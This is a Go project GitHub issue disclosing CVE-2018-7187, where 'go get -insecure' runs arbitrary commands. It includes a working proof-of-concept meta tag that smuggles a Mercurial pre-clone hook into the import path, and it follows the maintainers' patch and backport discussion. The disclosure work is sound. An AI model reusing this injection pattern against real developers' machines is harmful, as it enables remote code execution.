Skip to content

cmd/go: arbitrary command execution via VCS path #23867

Closed

Description

@Invizory

I contacted security@golang.org about this and was allowed to create a public issue.

This has been assigned CVE-2018-7187.

What version of Go are you using (go version)?

go version go1.9.4 linux/amd64 (earlier versions are also affected)

Does this issue reproduce with the latest release?

Yes.

What did you do?

The go get implementation, when the -insecure command-line option is used, does not validate the import path, which allows remote attackers to execute arbitrary OS commands via a crafted website.

For example, this command should execute echo hello $USER:

go get -insecure khashaev.ru/go-vuln

See https://khashaev.ru/go-vuln/index.html:

<meta name="go-import" content="khashaev.ru/go-vuln hg --config=hooks.pre-clone=echo${IFS}hello${IFS}$USER;echo${IFS}https://>/dev/null">

The proof of concept presented above is targeting Mercurial.

What did you expect to see?

package khashaev.ru/go-vuln: unrecognized import path "khashaev.ru/go-vuln"

What did you see instead?

hello inviz
abort: repository /home/inviz/go/src/khashaev.ru/go-vuln not found!
package khashaev.ru/go-vuln: exit status 255

Activity

  1. gopherbot commented on Feb 16, 2018

    @gopherbot
    Contributor

    Change https://golang.org/cl/94656 mentions this issue: cmd/go: fix command injection in VCS path

  2. bradfitz commented on Feb 16, 2018

    @bradfitz
    Contributor

    @ianlancetaylor and I discussed this and we were thinking something like https://go-review.googlesource.com/c/go/+/94603 which is a little bit safer (in terms of not breaking people), compared to https://golang.org/cl/94656. Especially for so late in the Go 1.10 cycle.

  3. added
    NeedsFixThe path to resolution is known, but the work has not been done.
    on Feb 16, 2018
  4. added this to the Go1.10 milestone on Feb 16, 2018
  5. andybons commented on Feb 16, 2018

    @andybons
    Member

    @bradfitz @ianlancetaylor is this a release-blocker for Go1.10?

  6. gopherbot commented on Feb 16, 2018

    @gopherbot
    Contributor

    Change https://golang.org/cl/94603 mentions this issue: cmd/go: restrict meta imports to valid schemes

  7. ianlancetaylor commented on Feb 16, 2018

    @ianlancetaylor
    Contributor

    After thinking about a bit more I'm not sure that it is a release blocker for 1.10. As far as we can tell it is only insecure if you explicitly say go get -insecure. I'm not sure that calls for an immediate fix. I think it may be OK to fix this in 1.10.1.

    @bradfitz ?

  8. ianlancetaylor commented on Feb 16, 2018

    @ianlancetaylor
    Contributor

    My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

  9. bradfitz commented on Feb 16, 2018

    @bradfitz
    Contributor

    SGTM on both of the previous two comments.

  10. Invizory commented on Feb 16, 2018

    @Invizory
    ContributorAuthor

    This has been assigned CVE-2018-7187.

  11. ianlancetaylor commented on Feb 16, 2018

    @ianlancetaylor
    Contributor

    I've submitted my CL, setting up to backport to 1.10.1 and 1.9.4. @Invizory unfortunately you'll need to rebase your CL and fix the merge conflicts, then we can get that in for 1.11. Thanks.

  12. mikioh commented on Feb 16, 2018

    @mikioh
    Contributor

    s/1.9.4/1.9.5/ ?

  13. 9 remaining items

  14. dmitshur commented on Feb 17, 2018

    @dmitshur
    Member

    I've sent CL 94899 for golang.org/x.

  15. removed their assignment
    on Feb 17, 2018
  16. andybons commented on Mar 27, 2018

    @andybons
    Member

    CL 94603 OK for Go 1.10.1

  17. added
    CherryPickApprovedUsed during the release process for point releases
    and removed
    NeedsFixThe path to resolution is known, but the work has not been done.
    on Mar 27, 2018
  18. gopherbot commented on Mar 27, 2018

    @gopherbot
    Contributor

    Change https://golang.org/cl/102776 mentions this issue: [release-branch.go1.9] cmd/go: restrict meta imports to valid schemes

  19. gopherbot commented on Mar 27, 2018

    @gopherbot
    Contributor

    Change https://golang.org/cl/102778 mentions this issue: [release-branch.go1.10] cmd/go: restrict meta imports to valid schemes

  20. added 2 commits that reference this issue on Mar 29, 2018
    15474dc
    6936a87
  21. added a commit that references this issue on Mar 30, 2018
  22. locked and limited conversation to collaborators on Mar 29, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions